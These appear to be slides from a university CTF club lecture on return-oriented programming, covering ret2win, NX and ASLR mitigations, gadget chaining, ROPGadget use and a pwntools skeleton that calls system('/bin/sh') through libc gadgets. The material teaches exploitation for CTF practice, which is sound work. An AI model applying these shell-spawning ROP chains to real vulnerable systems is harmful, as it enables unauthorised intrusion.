

SP2024 Week 04 • 2024-02-15

PWN IV - ROP

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Announcements

- LACTF! Tomorrow!
 - Friday @ 10pm, Room TBD
 - Beginner friendly
 - food!



ctf.sigpwny.com sigpwny{ret2ret2ret2ret2win}



Review

 Memory Region

.text
(instructions)

.data
(initialized
 globals)

.bss
(uninitialized
 globals)

heap

the stack
(runtime data)

Top of memory (0xFFFFFFFFFFFFFFF)



"ret2win"

```
void win() { // at 0x4011b3
    // prints flag
int vuln() {
    puts("Say Something!\n");
    char buf[32];
    gets(buf);
    return 0;
int main() {
    vuln();
```

buf[32]	
Saved Base Pointe	^
Return Address	



"ret2win"

```
void win() { // at 0x4011b3
    // prints flag
int vuln() {
    puts("Say Something!\n");
    char buf[32];
    gets(buf);
    return 0;
int main() {
    vuln();
```

```
buf = "AAAAAAAA..."

0x414141414141

0x4011b3
...
```



"ret2shellcode"

```
int vuln() {
   puts("Say Something!\n");
   char buf[32];
   gets(buf);
   return 0;
int main() {
   vuln();
```

buf[32]
Saved Base Pointer
Return Address



"ret2shellcode"

```
int vuln() {
   puts("Say Something!\n");
   char buf[32];
   gets(buf);
   return 0;
int main() {
   vuln();
```

vuln() now returns to the
shellcode we put on the stack

Mitigation

NX

- Stack is not executable
- W^X: Region of memory can't be both writable and executable
 - Stack and Heap: **RW**
 - .text (Code): **RX**
- no more shellcode 4 u D:

```
env ) pwn checksec challenge

[*] '/root/ctf/sigpwny/pwn/libc-rop/challenge'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found

NX: NX enabled
PIE: PIE enabled
```



Mitigation

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```
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How do we bypass this?



ROP!

- Return Oriented Programming
 - based on ret instruction
- Gadgets!
 - Little pieces of code that we chain together (ropchain) to do what we want
 - End with a ret instruction
 - These are already in the binary don't have to worry abt NX!



ROP - High Level

$$\frac{\text{Gadget 1}}{A = A + 1}$$

 $\frac{\text{Gadget 2}}{A=0}$

 $\frac{\text{Gadget 3}}{B = A}$

 $\frac{\text{Gadget 4}}{C = B}$

Execute a series of gadgets to achieve:

$$\mathsf{B}=3$$



ROP - High Level

$$\frac{\text{Gadget 1}}{A = A + 1}$$

$$\frac{\text{Gadget 2}}{A=0}$$

$$\frac{\text{Gadget 3}}{\mathsf{B} = \mathsf{A}}$$

$$\frac{\text{Gadget 4}}{C = B}$$

$$\mathsf{B}=3$$

- Gadget 2
- Gadget 1
- Gadget 1
- Gadget 1
- Gadget 3



ROP - Slightly Less High Level

Hint: swap rax and rbx Gadget 1 xchg rax, rbx ret

Hint: rbx = 0 nop
xor rbx, rbx
ret

 $\begin{aligned} & \text{Hint:} \\ & \text{rcx} = 0 \\ & \text{rax} = \text{rax} + 1 \end{aligned}$

Gadget 3
xor rcx, rcx
add rax, 1
ret

Hint: rax = rax - rbx

sub rax, rbx
nop
ret

Using a sequence of gadgets, can we achieve:

rbx = 3

(ignore the ret for now!)



ROP - Slightly Less High Level

Hint: swap rax and rbx Gadget 1 xchg rax, rbx ret

Hint: rbx = 0 nop
xor rbx, rbx
ret

Hint: rcx = 0 rax = rax + 1

Gadget 3
xor rcx, rcx
add rax, 1
ret

Hint: rax = rax - rbx

Gadget 4
sub rax, rbx
nop
ret

Using a sequence of gadgets, can we achieve:

$$rbx = 3$$

(ignore the ret for now!)

Gadget 2 (set rbx to 0)
Gadget 1 (set rax = rbx)
Gadget 3 (rax = 1)
Gadget 3 (rax = 2)
Gadget 3 (rax = 3)
Gadget 1 (set rbx = rax)



New Exploit

buf[32]

Saved Base Pointer

Return Address

. . .

buf = "AAAAAAA"
0x414141414141
GADGET 1 ADDR
GADGET 2 ADDR
GADGET 3 ADDR



Example

```
buf = "AAAAAAAA..."

"0x41414141414141"

Addr of: pop rdi; ret;

0x12345678

Addr of: win()
```

```
- rdi, rsi, rdx, rcx, r8, r9 - argument registers for x86_64 (in that order)
```

- this is useful for one of the ROP challenges!
- In 32 bit, arguments are on the stack after the return address

```
void win(int a) {
    if (a == 0x12345678) {
        // print flag
    }
}
```

pop rdi causes this to go into the rdi register



ROP in practice

- Usually, there's no win function, so we need to do something else
 - Most of the time, we'll try to pop a shell (run /bin/sh)
- Find and order gadgets to call execve("/bin/sh", NULL, NULL) or system("/bin/sh")
 - Need gadgets to set up register(s)
 - Need registers to call syscall



Finding and Ordering Gadgets

- Can do it yourself (have fun!)
 - objdump -d -M intel myprogram | grep ret -B 5
- ROPGadget
 - List gadgets: ./ROPGadget.py --binary chal
 - Create ropchain: ./ROPGadget.py --ropchain --binary chal
- Pwntools (<u>rop.rop</u>) and Pwndbg (<u>Pwndbg ROP</u>) can help too!
- one gadget
 - Gadget that pops a shell immediately



Libc

- Libc = giant file full of standard library functions
 - linked near the top of memory: 0x7ff...
- The challenge binary usually doesn't have a lot of useful gadgets... but libc does!

- Often, the goal is to leak a libc address, calculate the libc base address, and then ROP with libc gadgets
 - This can help: <u>Libc Database</u>

Unique gadgets found: 101496



ROP Mitigations

- PIE (Position Independent Executable)
 - Randomizes binary base address: functions are at different addresses every time!
- ASLR (Address Space Layout Randomization)
 - Like PIE randomizes locations of memory regions (stack, heap, etc.)
 - Libc location also gets randomized!
- Base addresses change, but offsets stay the same
 - Only need to leak one binary address (or one libc address for libc)



Pwntools example

```
exe = ELF("./main")
libc = ELF("./libc-2.27.so")
libc leak = # acquire the address of libc 'func_name' from binary (e.g.
puts)
libc.address = libc_leak - libc.symbols["func name"] - offset
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] + libc.address
RET = (rop.find_gadget(['ret']))[0] + libc.address
SYSTEM = libc.sym["system"]
payload += b'A'*8 # buffer
payload += p64(RET) + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM) # ROP chain
```

Resources

Pwntools - Essential for scripting your exploit

Pwndbg - gdb but good

ROPGadget - find gadgets/generate ropchains

one gadget - find one gadgets

Libc Database Search - find libc offsets

ROP Emporium - Beginner oriented practice



Next Meetings

2024-02-16 • This Friday

- LACTF
- Come play UCLA's CTF!

2024-02-22 • Next Thursday

- Blockchain with Jake!



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Meeting content can be found at sigpwny.com/meetings.

